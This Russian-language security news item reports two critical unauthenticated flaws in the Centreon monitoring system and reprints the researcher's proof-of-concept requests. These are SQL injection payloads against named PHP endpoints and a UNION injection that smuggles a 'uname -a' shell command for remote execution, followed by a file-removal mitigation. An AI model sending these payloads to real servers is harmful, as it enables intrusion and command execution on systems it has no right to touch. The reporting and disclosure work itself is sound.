Бреши позволяют злоумышленникам выполнять SQL-инъекции и удаленно исполнять команды на сервере.
В системе мониторинга с открытым исходным кодом Centreon были обнаружены сразу две критические уязвимости , которые могут быть проэксплуатированы любым анонимным пользователем. Об этом сообщается в списке рассылки Full Disclosure. Бреши были обнаружены еще 3 июня этого года, но производитель не отреагировал на сообщение.
Как оказалось, злоумышленники могут выполнить SQL-инъекции, а также удаленно исполнять команды на сервере под управлением Centreon. Уязвимости с идентификаторами CVE-2014-3828 и CVE-2014-3829 присутствуют во всех версиях Centreon, выпущенных с 2008 года (2.0 - 2.5.2).
Исследователь, обнаруживший бреши, опубликовал PoC-коды для их эксплуатации. Для того чтобы выполнить SQL-инъекцию, достаточно послать следующий запрос на сервер под управлением Centreon:
[POST] http://server/centreon/include/configuration/configObject/traps/GetXMLTrapsForVendor.php [POST DATA] mnftr_id=1 or 1=1 union all select version(),2 -- /** [POST] http://server/centreon/include/common/javascript/commandGetArgs/cmdGetExample.php [POST DATA] index=2' or 1=1 -- /** [GET] http://server/centreon/include/views/graphs/GetXmlTree.php?sid=' or 1=1 -- /** [GET] http://server/centreon/include/views/graphs/graphStatus/displayServiceStatus.php?session_id=0' or 1=1 -- /**&index=1' or 1=1 -- /** [GET] http://server/centreon/include/views/graphs/common/makeXML_ListMetrics.php?index_id=' union select @@version,2,3 -- /**
Помимо этого, злоумышленники также могут удаленно выполнять команды на уязвимом сервере. PoC-код для эксплуатации данной бреши выглядит следующим образом:
[PAYLOAD] ";uname -a;" (конвертируется в SQL "CHAR(59, 32, 117, 110, 97, 109, 101, 32, 45, 97, 59)") [GET] http://server/centreon/include/views/graphs/graphStatus/displayServiceStatus.php (на старых версиях Centreon: http://server/centreon/include/views/graphs/statusGraphs/displayServiceStatus.php) ?session_id=' or 1=1 -- /** &template_id=' UNION ALL SELECT 1,2,3,4,5,CHAR(59, 32, 117, 110, 97, 109, 101, 32, 45, 97, 59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**
В настоящее время единственный способ устранить вышеуказанную брешь – удалить файл displayServiceStatus.php или заблокировать к нему доступ.
Разработчик никак не прокомментировал сложившуюся ситуацию.